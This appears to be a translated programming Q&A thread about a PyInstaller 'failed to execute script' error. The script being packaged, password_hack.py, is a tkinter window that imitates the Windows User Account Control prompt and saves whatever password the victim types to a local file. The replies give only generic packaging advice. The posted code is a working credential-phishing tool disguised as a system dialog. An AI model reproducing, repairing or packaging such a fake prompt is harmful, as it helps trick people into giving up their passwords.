Ошибка Windows- Pyinstaller “не удалось выполнить скрипт”

#python #python-3.x #tkinter #error-handling #pyinstaller

#python #python-3.x #tkinter #обработка ошибок #pyinstaller

Вопрос:

откройте это изображение

Я искал везде, но до сих пор не могу найти решение

Кто-нибудь, пожалуйста, помогите мне.

 pyinstaller password_hack.py
 

команда pyinstaller ^

 def store():
    file = open("password", "w")
    file.write(password.get())
    screen1.destroy()
 

Этот код может быть проблемой ^

 from tkinter import *
from tkinter import messagebox
from tkinter import ttk
from selenium import webdriver
from PIL import ImageTk,Image

def store():
    file = open("password", "w")
    file.write(password.get())
    screen1.destroy()

def wrong_pass():
    global screen1
    screen1 = Tk()
    screen1.title("                                           User Account Control")
    screen1.geometry("460x339 800 300")
    screen1.config(bg="#F0F0F0")

    global password
    password = StringVar()

    my_img = ImageTk.PhotoImage(Image.open("admin_pass1.png"))
    my_label = Label(screen1, image=my_img)
    my_label.pack()
    Label(screen1, text="Muhammed Falah", bg="#CBE8F6", font=("Verdana", 11)).place(relx=0.22, rely=0.57)
    Label(screen1, text="LAPTOP-8LB07TBQ", bg="#CBE8F6", font=("Verdana", 10)).place(relx=0.22, rely=0.64)
    pass_entry = Entry(screen1, bd=1.4, width=32, textvariable=password, show="●")
    pass_entry.place(relx=0.22, rely=0.73)
    ttk.Button(screen1, text="Yes", command=store).place(relx=0.6, rely=0.90)
    ttk.Button(screen1, text="No", command=exit).place(relx=0.8, rely=0.90)

    screen1.mainloop()


wrong_pass()

 

Комментарии:

1. В чем проблема?

2. @forgetso я получаю эту ошибку Pyinstaller Error failed to execute script при преобразовании файла .py в .exe

Ответ №1:

причины Pyinstaller Error: "failed to execute script" :

  1. файлы, используемые исполняемым файлом, находятся в другом каталоге
    • убедитесь, что все есть in place .
    • убедитесь, что paths в вашей программе есть valid и они exist .
  2. скрипт выдает ошибку
    • проверьте, нет ли ошибок в скрипте.
    • вернитесь к 1 .

Комментарии:

1. Все файлы находятся в одном каталоге. Я не нахожу никаких ошибок при запуске программы.

2. @falahmanalodi В соответствии с добавленным вами изображением все ваши файлы находятся в том же каталоге, что и скрипт (что не имеет значения), но они также должны находиться в том же каталоге, что и exe

3. @AST Я добавил изображение в dist / password_hack, а затем, когда я выполнил программу, терминал cmd открылся и закрылся. Я добавил input() в конце скрипта, но он все равно не работал.

4. @falahmanalodi В вашем коде я вижу, что файлы находятся в корневом каталоге, а не в папке password_hack , надеюсь, вы также обновили это. Кроме того, не могли бы вы обновить свой вопрос с pyinstaller помощью команды, используемой вами для создания exe.

5. @AST pyinstaller password_hack.py